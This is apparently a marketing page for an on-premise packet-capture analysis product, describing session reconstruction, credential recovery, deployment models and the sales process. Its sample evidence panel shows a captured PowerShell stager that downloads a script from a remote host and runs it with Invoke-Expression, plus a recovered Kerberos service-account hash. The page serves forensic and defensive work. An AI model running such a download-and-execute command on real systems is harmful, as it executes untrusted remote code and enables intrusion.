Self-hosted PCAP analysis,
inside your own network
Upload a capture on your own infrastructure and get back reconstructed sessions, recovered credentials, extracted files, and a host and service graph. Every artifact resolves to the packet it came from.
- Deployment
- Docker Compose · Helm / Kubernetes · air-gapped image bundle
- Storage
- Your PostgreSQL and S3-compatible object storage
- Identity
- Local accounts · LDAP / Active Directory · SAML 2.0 · OAuth
Annual license, quoted per deployment. An engineer answers — no newsletter, no drip sequence.
Why teams keep packet analysis in-house
The constraint is rarely feature count. It is where packet captures, credentials, and evidence are allowed to go — and how many senior hours disappear before the analysis starts.
- The captures that cannot be uploaded
- Customer data, closed segments, retention rules. The investigations that most need a protocol-level read are exactly the ones that can never reach a cloud tool.
- Senior hours go into display filters
- Manual triage in general-purpose tools spends analyst time on display filters and follow-stream before the actual analysis begins.
- Evidence scattered across a capture
- Sessions, credentials, files, and host relationships sit in different places and are easy to miss under time pressure.
What the deployment gives back
Sessions, credentials, files, and a host graph are extracted on ingest — without manual stream-following.
Reconstructed HTTP sessions
Request line, headers, and response body rebuilt from the packets in order, so a payload can be read without carving it out of a stream by hand.
Recovered credential material
Authentication material carried in the exchange itself, across HTTP, SMB, NTLM, Kerberos, LDAP, PostgreSQL, MSSQL, Telnet, FTP, and SIP — including one account reused across several protocols.
Extracted files and payloads
Objects pulled out of HTTP flows on ingest and available for offline analysis, alongside the source capture they came from.
Host and service graph
A map of which hosts talked to whom, with services labelled by passive protocol fingerprints — reconstructed from traffic, with no active scanning.
Every artifact resolves back to a specific timestamp and packet in the source capture.
Evidence, as the deployment presents it
Addresses and identities below use documentation ranges, not customer traffic.
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; en-US) WindowsPowerShell/5.1
Host: 198.51.100.23
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/plain
try {
$stage = Invoke-WebRequest -Uri "http://203.0.113.47/a" -UseBasicParsing
Invoke-Expression $stage.Content
} catch { }
Identity
Login
EXAMPLE.LOCAL\svc-backup
Protocol
Kerberos V5 AS-REP etype 18
- FROM
- 10.4.12.18
- TO
- 10.4.12.7
Hash
[email protected]:
72B63BB793FB34AD55174193F237C08B5491F0F8E
47BF6B135A461A7C6CC9BDFEC1E8D69A1874C7040
7040DFF88B252606DACD6175C62A5E398CA97B7A
A6DBFD119051 66BBBF435312C4B8865EDBC1A87E
1FBADF0D1C0B54C3D95CAD7C63B09C749987321F
A repeatable path from capture to report
Five steps, all of them inside your deployment.
-
01
Upload capture
.pcapor.pcapng, with case name, source, and analyst notes. -
02
Parse protocols
HTTP, DNS, TLS, SMB, Kerberos, LDAP, NTLM, and 802.11 wireless.
-
03
Extract artifacts
Sessions, credentials, files, hosts, and services — on ingest, without manual stream-following.
-
04
Flag detections
Port scans, insecure credential use, and suspicious traffic patterns.
-
05
Generate report
An interactive report generated in the deployment, with every finding still resolvable to its packet.
Three ways to run it
Security and platform teams pick the operating model. All three run against storage and identity you already operate.
Model 01
Single node
Docker Compose package on one server, with bundled PostgreSQL and MinIO.
Fits: smaller teams and evaluation environments.
Model 02
Kubernetes
Helm chart with external PostgreSQL, S3-compatible object storage, and separated service responsibilities.
Fits: platform teams with a cluster and storage already in place.
Model 03
Air-gap
Offline image bundle and license material, with no outbound access required after installation.
Fits: isolated and tightly controlled networks.
Observability in every model: Prometheus metrics, five reference Grafana dashboards, and liveness / readiness probes.
Access, data handling, and ownership
Analysis, storage, and reporting all run inside the customer deployment. No capture leaves the perimeter.
| Review area | What the deployment does |
|---|---|
| Data residency | Packet captures and artifacts stay in customer-owned PostgreSQL and S3-compatible storage. |
| Retention | Retention policy is controlled by the deployment owner. |
| Identity | Local accounts, LDAP / Active Directory, SAML 2.0, or OAuth for Google, Microsoft, and GitHub. |
| Telemetry | None. Monitoring stays inside the deployment, air-gapped installs included. |
| Reporting | Reports are generated inside the customer environment. |
Worth stating plainly: encrypted flows still yield metadata, a captured handshake, certificate, and timing evidence — not payload. Findings describe what reached the capture point, so a missing segment or asymmetric routing is an absence of evidence, not an absence on the network.
Four steps from first contact to a running deployment
The evaluation is the load-bearing one. It ends in a decision, not an impression.
-
Step 01
Fit call
Thirty minutes on use case, capture volume, and deployment topology — including whether an on-premise tool is the right answer at all.
-
Step 02
Technical evaluation
Thirty days on your own hardware, against your own captures. Success criteria are agreed at the start and reviewed jointly at the end.
-
Step 03
Proposal
Scope, term, and pricing written against what the evaluation actually showed. NDA, DPA, and MSA templates available.
-
Step 04
Deployment
Deployment package and setup call within two business days, with documentation and the offline bundle where required.
Nothing leaves your network during the evaluation either
The deployment runs against your own captures on your own hardware. Bring a representative capture — everything after that runs on your side.
Talk to us about an on-prem deployment
Tell us what you need to investigate and roughly how much traffic you handle. The next step is a thirty-minute fit call on scope, capture volume, and deployment topology.
Prefer email? Write to [email protected] with the same details.